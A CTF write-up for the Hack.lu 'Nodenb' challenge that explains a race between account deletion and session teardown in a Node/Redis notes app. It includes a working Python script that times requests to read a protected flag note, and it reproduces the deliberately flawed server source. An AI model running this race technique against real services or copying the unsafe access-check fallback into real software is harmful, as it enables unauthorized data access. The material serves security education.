Hack.lu CTF - Nodenb
Overview
Writeup by: andyandpandy
Solved by: andyandpandy, Hako
Writeup
The challenge has a race condition vulnerability, where you can delete your user and rapidly after send another request for the flag, which is successful when timed correctly.
Description
Web challenge
Challenge author: pspaul/SonarSource
To keep track of all your trading knowledge we wrote a note book app!
Source files: nodenb.zip.
This is a guest challenge by SonarSource R&D.
Exploit
So first step is identifying where is the flag.
Initially in the db.js it is set as a note with the nid (note id) flag
// db.js
db.hmset('note:flag', {
'title': 'Flag',
'content': FLAG,
});
If we want to see the note we have to pass a check saying that we are allowed to see it
// server.js
if (!await db.hasUserNoteAcess(req.session.user.id, nid)) {
return res.redirect('/notes');
}
// db.js
async hasUserNoteAcess(uid, nid) {
if (await db.sismember(`uid:${uid}:notes`, nid)) {
return true;
}
if (!await db.hexists(`uid:${uid}`, 'hash')) {
// system user has no password
return true;
}
return false;
},
So if it is a part of our notes we can see it or if our uid does not have a hash we are allowed to see it.
The first part is irrelevant, but the second is interesting.
The deleteme endpoint is what we can exploit. Essentially, it performs the db.deleteUser and thereafter kills the session. The db.deleteUser retrieves the user, removes user, uid, then gets the session and the uid’s notes, and deletes each of them after mapping them.
// server.js
app.post('/deleteme', ensureAuth, async (req, res) => {
await db.deleteUser(req.session.user.id);
req.session.destroy(async (error) => {
if (error) {
console.error('deleteme error:', error?.message);
}
res.clearCookie('connect.sid');
res.redirect('/login');
});
});
// db.js
async deleteUser(uid) {
const user = await helpers.getUser(uid);
await db.set(`user:${user.name}`, -1);
await db.del(`uid:${uid}`);
const sessions = await db.smembers(`uid:${uid}:sessions`);
const notes = await db.smembers(`uid:${uid}:notes`);
return db.del([
...sessions.map((sid) => `sess:${sid}`),
...notes.map((nid) => `note:${nid}`),
`uid:${uid}:sessions`,
`uid:${uid}:notes`,
]);
}
So the hypothesis was that we should be able to delete a user, then send a request right after to /notes/flag and retrieve the flag because our uid would not have a hash, thereby passing the checks from hasUserNoteAccess, which permits the retrieval of the note whilst our session token remains alive. This all has to happen after our uid is deleted but before our session is killed, which is a relatively small timeframe.
To test our theory we ran it locally and added a big setTimeout to the db.deleteUser and tried it out so essentially it wouldn’t finish before we had requested the flag. Our theory was correct and we were able to retrieve the flag. So now that we know this is the case we continued to adjust our exploit to a few milliseconds of delay before performing the retrieval of the flag.
To make the retrieval of notes a bit slower in the db.deleteUser we created a large amount of notes thereby, in theory giving us a higher chance of timing it correctly.
There was a slight difference between running locally and remotely but by tweaking the amount of notes and delay we were able to get the flag.
Solve script
Final solve.py looked like this:
import requests
from random import randint
from logging import debug, DEBUG, info, INFO, basicConfig, error, getLogger
import threading
from time import sleep
s = requests.Session()
#basicConfig(level=DEBUG)
basicConfig(level=INFO)
requestlogs = getLogger("urllib3")
requestlogs.setLevel(INFO) # ignore urllib3 debugging
requestlogs.propagate=False
#host = "http://localhost:3000"
host = "https://nodenb.flu.xxx"
headers = {"content-type": "application/x-www-form-urlencoded"}
uid = randint(0,10000)
username = f"andy{uid}"
body = f"username={username}&password=password"
resp = s.post(f"{host}/register", data=body, headers=headers)
if resp.status_code != 200:
error("Failed to register")
exit(42)
debug(f"Registered user: {username}")
debug("Authenticating..")
resp = s.post(f"{host}/login", data=body, headers=headers)
if resp.status_code != 200:
error("Failed to authenticate")
exit(43)
info(f"Authenticated user: {username}")
big_text = "A" * 1000 # Hopefully helps with load time from redis
note_body = f"title={big_text}&content={big_text}"
noteCounter = 0
noteNo = 600
info(f"Creating {noteNo} notes..")
def create_note():
global noteCounter
resp = s.post(f"{host}/notes", data=note_body, headers=headers)
if resp.status_code == 200:
noteCounter += 1
debug(f"Successfully created note: {noteCounter}")
threadies = [threading.Thread(target=create_note, daemon=True) for _ in range(noteNo)]
[t.start() for t in threadies]
[t.join() for t in threadies]
info(f"{noteCounter} notes created")
info(f"Attempting exploit..")
def deleteme():
del_resp = s.post(f"{host}/deleteme", headers=headers)
if del_resp.status_code == 200:
debug(f"Successfully deleted user: {username}")
def get_flag():
delay = 13
debug(f"Small delay {delay} ms")
sleep(delay/1000)
get_flag = s.get(f"{host}/notes/flag")
debug(f"Flag response: {get_flag.text}")
if "flag" in get_flag.text:
flag = get_flag.text[get_flag.text.find("flag{"):].split("<")[0]
info(f"Flag: {flag}")
else:
error("Failed to retrieve flag")
flag_threads = [threading.Thread(target=deleteme, daemon=True), threading.Thread(target=get_flag, daemon=True)]
[t.start() for t in flag_threads]
[t.join() for t in flag_threads]
Flag: flag{trade_as_fast_as_you_hack_and_you_will_be_rich}
Appendix: Most relevant source files
To shorten down source I have only included the docker-compose, server.js and db.js
All files in source can be seen below:
#Docker compose file:
version: '3'
services:
app:
build: ./src
restart: unless-stopped
ports:
- "127.0.0.1:3000:3000"
environment:
HOST: "0.0.0.0"
PORT: "3000"
REDIS_URL: "redis://db:6379"
SESSION_SECRET: "secret"
FLAG: "fakeflag{dummy}"
db:
image: redis:6.2-alpine
restart: unless-stopped
// server.js
const dotenv = require('dotenv');
const express = require('express');
const morgan = require('morgan');
const session = require('express-session');
const connectRedis = require('connect-redis');
const hbs = require('express-handlebars');
dotenv.config();
const { redisClient, db } = require('./db');
const die = (msg) => {
console.log(msg);
process.exit(1);
};
const HOST = process.env.HOST ?? '127.0.0.1';
const PORT = process.env.PORT ?? '3000';
const SESSION_SECRET = process.env.SESSION_SECRET ?? die('missing SESSION_SECRET');
const app = express();
app.use(morgan('dev'));
app.use(express.urlencoded({ extended: false }));
// views
app.engine('handlebars', hbs());
app.set('view engine', 'handlebars');
// session
const RedisStore = connectRedis(session);
app.use(session({
store: new RedisStore({ client: redisClient }),
secret: SESSION_SECRET,
resave: false,
saveUninitialized: false,
cookie: {
secure: false,
httpOnly: true,
},
}));
// flash
app.use((req, res, next) => {
const { render } = res;
req.session.flash = req.session.flash ?? [];
res.render = (template, options={}) => {
render.call(res, template, {
user: req.session?.user,
flash: req.session.flash,
...options,
});
req.session.flash = [];
};
res.flash = (level, message) => {
req.session.flash.push({ level, message });
};
next();
});
app.get('/', (req, res) => res.render('index'));
app.get('/register', (req, res) => res.render('register'));
app.post('/register', async (req, res) => {
const { username, password } = req.body;
if (!username || !password
|| typeof username !== 'string' || typeof password !== 'string'
|| /[^\w]/i.test(username)) {
res.flash('danger', 'invalid username or password');
return res.status(400).render('register');
}
try {
await db.createUser(username, password);
res.redirect('/login');
} catch (error) {
console.error('create user error:', error?.message)
res.flash('danger', `Error: ${error?.message}`);
res.render('register');
}
});
app.get('/login', (req, res) => res.render('login'));
app.post('/login', async (req, res) => {
const { username, password } = req.body;
if (!username || !password || typeof username !== 'string' || typeof password !== 'string') {
res.flash('danger', 'invalid username or password');
return res.status(400).render('login');
}
const user = await db.getUserByNameAndPassword(username, password);
if (!user) {
res.flash('danger', 'invalid username or password');
return res.status(401).render('login');
}
await db.addSessionToUser(user.id, req.sessionID);
req.session.user = user;
res.redirect('/notes');
});
const ensureAuth = (req, res, next) => {
if (!req.session?.user?.id) {
res.flash('warning', 'Login required');
return res.redirect('/login');
}
next();
};
app.post('/logout', ensureAuth, (req, res) => {
const sid = req.sessionID;
const uid = req.session.user.id;
req.session.destroy(async (error) => {
if (error) {
console.error('logout error:', error?.message);
}
await db.removeSessionFromUser(uid, sid);
res.clearCookie('connect.sid');
res.redirect('/login');
});
});
app.get('/notes', ensureAuth, async (req, res) => {
const notes = await db.getUserNotes(req.session.user.id);
res.render('notes', { notes });
});
app.get('/notes/:nid', ensureAuth, async (req, res) => {
const { nid } = req.params;
console.log("Called /notes/:nid " + nid);
if (!await db.hasUserNoteAcess(req.session.user.id, nid)) {
return res.redirect('/notes');
}
const note = await db.getNote(nid);
res.render('note', { note });
});
app.post('/notes', ensureAuth, async (req, res) => {
let { title, content } = req.body;
if (req.query.random) {
const ms = Math.floor(2000 + Math.random() * 1000);
await new Promise(r => setTimeout(r, ms));
res.flash('info', `Our AI ran ${ms}ms to generate this piece of groundbreaking research.`);
content = 'Lorem ipsum dolor sit amet, consetetur sadipscing elitr, sed diam nonumy eirmod tempor invidunt ut labore et dolore magna aliquyam erat, sed diam voluptua. At vero eos et accusam et justo duo dolores et ea rebum. Stet clita kasd gubergren, no sea takimata sanctus est Lorem ipsum dolor sit amet.';
}
if (!title || !content || typeof title !== 'string' || typeof content !== 'string') {
res.flash('danger', 'invalid title or content');
return res.status(400).render('notes');
}
const nid = await db.createNote(title, content);
await db.addNoteToUser(req.session.user.id, nid);
res.flash('success', `Note ${nid} was created!`);
res.redirect('/notes');
});
app.get('/me', ensureAuth, (req, res) => res.render('me', { user: req.session.user }));
app.post('/deleteme', ensureAuth, async (req, res) => {
await db.deleteUser(req.session.user.id);
req.session.destroy(async (error) => {
if (error) {
console.error('deleteme error:', error?.message);
}
res.clearCookie('connect.sid');
res.redirect('/login');
});
});
app.listen(PORT, HOST, () => console.log(`Listening on ${HOST}:${PORT}`));
// db.js
const { promisify } = require("util");
const redis = require('redis');
const { nanoid } = require('nanoid/async');
const argon2 = require('argon2');
const REDIS_URL = process.env.REDIS_URL ?? 'redis://127.0.0.1:6379';
const FLAG = process.env.FLAG ?? 'fakeflag{dummy}';
const redisClient = redis.createClient({
url: REDIS_URL,
});
redisClient.on('connect', () => {
console.log('Connected to redis');
});
redisClient.on('error', (error) => {
console.log('redis error:' + error?.message);
});
const db = {};
const asyncBinds = [
'get', 'set', 'setnx', 'incr', 'exists', 'del',
'hget', 'hset', 'hgetall', 'hmset', 'hexists',
'sadd', 'srem', 'smembers', 'sismember',
];
for (const key of asyncBinds) {
db[key] = promisify(redisClient[key]).bind(redisClient);
}
// init
db.hset('uid:1', 'name', 'system');
db.set('user:system', '1');
db.setnx('index:uid', 1);
db.hmset('note:flag', {
'title': 'Flag',
'content': FLAG,
});
function sleep(ms) {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
}
const helpers = {
async createUser(name, password) {
const isAvailable = await db.setnx(`user:${name}`, 'PLACEHOLDER');
if (!isAvailable) {
throw new Error('user already exists!');
}
const uid = await db.incr('index:uid');
await db.set(`user:${name}`, uid);
const hash = await argon2.hash(password);
await db.hmset(`uid:${uid}`, { name, hash });
return uid;
},
async getUser(uid) {
const user = await db.hgetall(`uid:${uid}`);
if (!user) {
return null;
}
user.id = uid;
return user;
},
async getUserByNameAndPassword(name, password) {
const uid = await db.get(`user:${name}`);
if (!uid) {
return null;
}
const user = await helpers.getUser(uid);
if (!user) {
return null;
}
try {
if (await argon2.verify(user.hash, password)) {
return user;
} else {
return null;
}
} catch (error) {
console.log('argon error:', error?.message);
return null;
}
},
async getUserNotes(uid) {
return db.smembers(`uid:${uid}:notes`);
},
async addNoteToUser(uid, nid) {
return db.sadd(`uid:${uid}:notes`, nid);
},
async hasUserNoteAcess(uid, nid) {
if (await db.sismember(`uid:${uid}:notes`, nid)) {
return true;
}
if (!await db.hexists(`uid:${uid}`, 'hash')) {
console.log("Passed check on hexists uid");
// system user has no password
return true;
}else {
console.log("Failed check on hexists uid")
}
return false;
},
async deleteUser(uid) {
const user = await helpers.getUser(uid);
await db.set(`user:${user.name}`, -1);
await db.del(`uid:${uid}`);
const sessions = await db.smembers(`uid:${uid}:sessions`);
const notes = await db.smembers(`uid:${uid}:notes`);
return db.del([
...sessions.map((sid) => `sess:${sid}`),
...notes.map((nid) => `note:${nid}`),
`uid:${uid}:sessions`,
`uid:${uid}:notes`,
]);
},
async getUserSessions(uid) {
return db.smembers(`uid:${uid}:sessions`);
},
async addSessionToUser(uid, sid) {
return db.sadd(`uid:${uid}:sessions`, sid);
},
async removeSessionFromUser(uid, sid) {
return db.srem(`uid:${uid}:sessions`, sid);
},
async createNote(title, content) {
const nid = await nanoid();
await db.hmset(`note:${nid}`, { title, content });
return nid;
},
async getNote(nid) {
const note = await db.hgetall(`note:${nid}`);
note.id = nid;
return note;
},
};
module.exports = {
redisClient,
db: helpers,
};